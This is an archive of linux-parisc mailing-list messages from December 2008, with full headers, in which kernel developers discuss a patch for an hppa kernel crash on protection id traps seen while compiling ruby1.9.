>  [<10161920>] handle_IRQ_event+0x44/0x94
>  [<10161acc>] __do_IRQ+0x15c/0x1dc
>  [<10110fb4>] do_cpu_irq_mask+0x90/0xbc
>  [<10114068>] intr_return+0x0/0x4
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when compiling ruby1.9
Date: Thu, 18 Dec 2008 07:21:01 -0500
Lines: 55
Approved: news@gmane.org
Message-ID: <119aab440812180421i5f1238e9vc7cd5bd300ca4016@mail.gmail.com>
References: <4949812D.7080608@gmx.de>
	 <119aab440812171746x5c3ec853x87b7f4a6ca12dba@mail.gmail.com>
	 <20081218023607.GC30438@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229603201 30360 80.91.229.12 (18 Dec 2008 12:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 12:26:41 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Kyle McMartin" <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 13:27:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDHyf-0007lK-18
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 13:27:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750796AbYLRM00 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 07:26:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751027AbYLRM00
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 07:26:26 -0500
Original-Received: from rn-out-0910.google.com ([64.233.170.185]:10391 "EHLO
	rn-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750796AbYLRM0Z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 07:26:25 -0500
Original-Received: by rn-out-0910.google.com with SMTP id k40so298701rnd.17
        for <linux-parisc@vger.kernel.org>; Thu, 18 Dec 2008 04:26:23 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=+LQHvv54Xs57OePMpJ19oqtGp4/r9eOVxwtsAUqxDac=;
        b=kF5/dA8Lv80YzPytBwnrKS3qEs9s1whI60xB2+BfVt21PvPbrumMl3zaGyg/pFZ6Uy
         khr3V/Hed+Btp7JvBexGN0K9fEuoppnH0wQMN8UVIba1dQGWJb0sMlYmnVfkErYupjTL
         cMw6gI13AUn4exrGxTSWsoyGN1DbVPEideyYY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=hm1X6+LTuunA8shsCqIyhbulZbSGyY0OsbTLwXyAdNDhhMi0IHNuc0pRUgo1V1RWPg
         znFCAzibRJs2edV3IHEG0iAgrh+2MceXGvDEUT1iVOL8mrcVBUWHVL5Fml2whWUZCfis
         JoKRD/kU7+WFy1GbcolEoyL+YRvlyPpuZzJKA=
Original-Received: by 10.90.63.6 with SMTP id l6mr995785aga.98.1229602861515;
        Thu, 18 Dec 2008 04:21:01 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Thu, 18 Dec 2008 04:21:01 -0800 (PST)
In-Reply-To: <20081218023607.GC30438@bombadil.infradead.org>
Content-Disposition: inline
X-Google-Sender-Auth: 57eb0fc8cb4b628f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:971
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/971>

On Wed, Dec 17, 2008 at 9:36 PM, Kyle McMartin <kyle@infradead.org> wrote:
> On Wed, Dec 17, 2008 at 08:46:30PM -0500, Carlos O'Donell wrote:
>> On Wed, Dec 17, 2008 at 5:46 PM, Helge Deller <deller@gmx.de> wrote:
>> > The attached patch simply adds the lookup for a fixup handler when trap
>> > #27 (protection id trap) happens in kernel space. This was missing in
>> > the code path for trap #27 which is why the kernel then called
>> > die_if_kernel() and crashed.
>> >
>> > Even with this patch ruby1.9 may fail to compile, but at least the
>> > kernel crashes are gone.
>> >
>> > Any feedback welcome.
>>
>> Can we avoid copying code from do_page_fault and just call do_page_fault?
>>
>> Shouldn't a data protection id trap on a userspace address cause
>> do_page_fault to be called which triggers the lookup and transfer to
>> the exception table location?
>>
>
> Yes, it could just fall through in this case, but I don't think that's
> necessarily correct either.

Shouldn't it always be wrong to call die_if_kernel on protection id
trap without searching the exception tables? This is exactly what
happens in the case of trap 27.

>> I remember testing this for the compare-and-swap kernel LWS, in
>> particular calling with an invalid address, where the kernel must load
>> a userspace address, possibly fault, and jump to the exception
>> location to return EFAULT as the error for the compare-and-swap.
>
> Indeed, there's something more sinister going on.

It might be that a different fault is generated?

I ran my test-lws program again this morning and it correctly returns
EFAULT which means the exception handling should be working, *but* I
don't know which trap was generated.

The ldw could have generated a data tlb miss fault/data page fault
trap, and that is correctly handled.

A data address memory protection id trap only happens if:
- PSW P-bit is 1.
- Prot. ID check fails? (What memory has prot id checks on it?)
- One of load/Store/Ldcw/cache purge references the memory.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when	compiling
 ruby1.9
Date: Thu, 18 Dec 2008 14:09:40 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20081218130940.137190@gmx.net>
References: <4949812D.7080608@gmx.de>
 <20081218070340.GF30438@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1229605802 6658 80.91.229.12 (18 Dec 2008 13:10:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 13:10:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 14:11:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDIee-0006KV-Cp
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 14:11:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750762AbYLRNJn convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 08:09:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751671AbYLRNJn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 08:09:43 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:48986 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750762AbYLRNJm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 08:09:42 -0500
Original-Received: (qmail 27339 invoked by uid 0); 18 Dec 2008 13:09:40 -0000
Original-Received: from 155.56.68.220 by www177.gmx.net with HTTP;
 Thu, 18 Dec 2008 14:09:39 +0100 (CET)
In-Reply-To: <20081218070340.GF30438@bombadil.infradead.org>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1/SRrdlzorSbqGyaGmtMHyOkE6oli+psiqZP4sW/F
 s2H035tkSRF/r1fTCB4IdoyGv8pbE5ba6Hhg== 
X-GMX-UID: +iYoHdAVbXB+b7qHPTQ2RA8iLyUmZYiK
X-FuHaFi: 0.64
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:972
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/972>

-------- Original-Nachricht --------
> On Wed, Dec 17, 2008 at 11:46:05PM +0100, Helge Deller wrote:
> > The Debian bugzilla has a long thread about kernel crashes when
> > compiling ruby1.9 on hppa. This kernel bug led even to discussions =
if
> > hppa should be dropped for lenny.
> > See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D478717 for d=
etails.
> >=20
> > It's really easy to reproduce the bug, and it generates this backtr=
ace
> > (interestingly two backtraces):
>=20
> When does it die? My ruby1.9 is building through to the tests (where
> it's hanging without crashing...)

If it does not happen directly for you, just try a few times/cycles, e.=
g. make, make clean in the build directory.
Even killing the hanging miniruby processes can make the kernel die (wh=
en my patch wasn't applied). With the patch it stays hanging.

Helge
--=20
Psssst! Schon vom neuen GMX MultiMessenger geh=F6rt? Der kann`s mit all=
en: http://www.gmx.net/de/go/multimessenger
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when compiling
 ruby1.9
Date: Thu, 18 Dec 2008 14:13:57 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20081218131357.260160@gmx.net>
References: <4949812D.7080608@gmx.de>	
 <119aab440812171746x5c3ec853x87b7f4a6ca12dba@mail.gmail.com>
 <119aab440812171802o4cb2837dt168092caf7c633da@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1229606050 7496 80.91.229.12 (18 Dec 2008 13:14:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 13:14:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 14:15:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDIih-0007Q5-2D
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 14:15:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751395AbYLRNOA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 08:14:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751671AbYLRNOA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 08:14:00 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:56285 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751395AbYLRNN7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 08:13:59 -0500
Original-Received: (qmail 25077 invoked by uid 0); 18 Dec 2008 13:13:57 -0000
Original-Received: from 155.56.68.221 by www103.gmx.net with HTTP;
 Thu, 18 Dec 2008 14:13:57 +0100 (CET)
In-Reply-To: <119aab440812171802o4cb2837dt168092caf7c633da@mail.gmail.com>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1+KxWYDOLmK7enztNsUWKm8OidF3aD65z+32EpBmj
 1rtWPbIox0etldmU8+1bDPNaAMCkK8E7cy9g== 
X-GMX-UID: 2jkrLckEa0A7fb6aejEzmw4/Njh6dM4S
X-FuHaFi: 0.68
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:973
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/973>

> On Wed, Dec 17, 2008 at 8:46 PM, Carlos O'Donell
> > Can we avoid copying code from do_page_fault and just call
> do_page_fault?
=2E..
> However! I think you should not duplicate code. Please split out this
> "bit" of code into a function in mm/fault.c and call it from
> handle_interruption.

Sure. This patch was just meant to be short and easy understandable for=
 review of the problem itself and without other noise like splitting ou=
t a function...

Helge
--=20
Sensationsangebot verl=E4ngert: GMX FreeDSL - Telefonanschluss + DSL=20
f=FCr nur 16,37 Euro/mtl.!* http://dsl.gmx.de/?ac=3DOM.AD.PD003K1308T45=
69a
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
	compiling ruby1.9
Date: Thu, 18 Dec 2008 10:05:14 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20081218150514.GA8535@bombadil.infradead.org>
References: <4949812D.7080608@gmx.de> <20081218070340.GF30438@bombadil.infradead.org> <20081218130940.137190@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229612739 31303 80.91.229.12 (18 Dec 2008 15:05:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 15:05:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 16:06:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDKSM-0000um-T8
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 16:06:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751210AbYLRPFQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 10:05:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751481AbYLRPFQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 10:05:16 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47418 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751210AbYLRPFP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 10:05:15 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDKR8-000818-D7; Thu, 18 Dec 2008 15:05:14 +0000
Content-Disposition: inline
In-Reply-To: <20081218130940.137190@gmx.net>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:974
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/974>

On Thu, Dec 18, 2008 at 02:09:40PM +0100, Helge Deller wrote:
> -------- Original-Nachricht --------
> > On Wed, Dec 17, 2008 at 11:46:05PM +0100, Helge Deller wrote:
> > > The Debian bugzilla has a long thread about kernel crashes when
> > > compiling ruby1.9 on hppa. This kernel bug led even to discussions if
> > > hppa should be dropped for lenny.
> > > See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478717 for details.
> > > 
> > > It's really easy to reproduce the bug, and it generates this backtrace
> > > (interestingly two backtraces):
> > 
> > When does it die? My ruby1.9 is building through to the tests (where
> > it's hanging without crashing...)
> 
> If it does not happen directly for you, just try a few times/cycles, e.g. make, make clean in the build directory.
> Even killing the hanging miniruby processes can make the kernel die (when my patch wasn't applied). With the patch it stays hanging.
>

Aside from the testsuite hanging it seems to be building fine for me no
matter how many times I let it go...

making ruby1.9
make[1]: Entering directory `/home/kyle/src/ruby1.9-1.9.0.2'
cc -fno-strict-aliasing -g -g -O2 -O2 -g -Wall -Wno-parentheses  -fPIC
-L.  -rdynamic -Wl,-export-dynamic   main.o  -lruby1.9 -lpthread -lrt
-ldl -lcrypt -lm   -o ruby1.9
make[1]: Leaving directory `/home/kyle/src/ruby1.9-1.9.0.2'

Let me debootstrap on another machine and try it there, sigh.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when compiling
Date: Thu, 18 Dec 2008 10:28:40 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20081218152841.E85E74F28@hiauly1.hia.nrc.ca>
References: <20081218131357.260160@gmx.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229614135 3982 80.91.229.12 (18 Dec 2008 15:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 15:28:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 16:30:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDKp5-0004Zb-6s
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 16:29:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751853AbYLRP2o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 10:28:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751901AbYLRP2o
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 10:28:44 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4058 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751892AbYLRP2n (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 10:28:43 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E85E74F28; Thu, 18 Dec 2008 10:28:41 -0500 (EST)
In-Reply-To: <20081218131357.260160@gmx.net> from "Helge Deller" at Dec 18, 2008 02:13:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:975
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/975>

> > On Wed, Dec 17, 2008 at 8:46 PM, Carlos O'Donell
> > > Can we avoid copying code from do_page_fault and just call
> > do_page_fault?
> ...
> > However! I think you should not duplicate code. Please split out this
> > "bit" of code into a function in mm/fault.c and call it from
> > handle_interruption.
> 
> Sure. This patch was just meant to be short and easy understandable for review of the problem itself and without other noise like splitting out a function...

>From the documentation, it appears to me that a protection id trap should
be treated differently from a data TLB miss/data page fault.  The latter can
potentially be fixed with TLB insertion.  I don't think a protection ID trap
can be fixed...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when compiling
Date: Thu, 18 Dec 2008 11:09:24 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440812180809s414e4bb9k8a7196ab55020b88@mail.gmail.com>
References: <20081218131357.260160@gmx.net>
	 <20081218152841.E85E74F28@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229616584 13350 80.91.229.12 (18 Dec 2008 16:09:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 16:09:44 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 17:10:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDLSU-00064y-40
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 17:10:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751013AbYLRQJ1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 11:09:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750753AbYLRQJ1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 11:09:27 -0500
Original-Received: from rn-out-0910.google.com ([64.233.170.186]:34469 "EHLO
	rn-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751013AbYLRQJ0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 11:09:26 -0500
Original-Received: by rn-out-0910.google.com with SMTP id 45so362413rnw.14
        for <linux-parisc@vger.kernel.org>; Thu, 18 Dec 2008 08:09:25 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=gaZoESj0/LoCQUy4YFpXitYWZzmx1q4UTLdZN2ehgHQ=;
        b=GdIIrl40WPYIUTiIQ+EnuGgbJRkKBdJmrD2jPFCyuxWqWxaUcejSUnghR8CdK5n3CJ
         gJuKgWL64AU+HouzZ03+a29IqtNg/PCjeW6fPhXjlW7+v49uZlDAanwMS8ElQWuEamPO
         tVJFDE/ay/ngs2R7F2NSCrIU3wSyzeImiaGzk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=DrF8e8LjlPhb675DPqGV14+llB2u5sjK1qbC+Djz0mSDzOtbbL2o0Nqp4BQYVjO/En
         AjZvmvhwid4swtcPfzIRHm2M1XEPyCDFg69WTzhtsG367JelwGvAIv6pVQOCcGMugYUC
         ZkNUUmcyyUqspm6h3J2gKi2sYkwwIOR5n7Q8c=
Original-Received: by 10.90.106.1 with SMTP id e1mr1179504agc.8.1229616565150;
        Thu, 18 Dec 2008 08:09:25 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Thu, 18 Dec 2008 08:09:24 -0800 (PST)
In-Reply-To: <20081218152841.E85E74F28@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: c0e43e060eb756b9
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:976
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/976>

On Thu, Dec 18, 2008 at 10:28 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> From the documentation, it appears to me that a protection id trap should
> be treated differently from a data TLB miss/data page fault.  The latter can
> potentially be fixed with TLB insertion.  I don't think a protection ID trap
> can be fixed...

Yes, I think that is also true.

What if, after a context switch we have stale TLB entry with an access
ID from another process? When the kernel tries to write to the user
address the current protection ids don't match the page's access id
and we generate a protection id trap.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Thu, 18 Dec 2008 11:16:31 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <119aab440812180816q32367d3ek87f376dce9f9dbfd@mail.gmail.com>
References: <20081218004329.GB30438@bombadil.infradead.org>
	 <20081218030214.5CABB4E99@hiauly1.hia.nrc.ca>
	 <20081218040400.GE30438@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229617023 15042 80.91.229.12 (18 Dec 2008 16:17:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 16:17:03 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 17:18:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDLZM-0000HB-LP
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 17:17:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750771AbYLRQQe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 11:16:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751046AbYLRQQe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 11:16:34 -0500
Original-Received: from yw-out-2324.google.com ([74.125.46.28]:58946 "EHLO
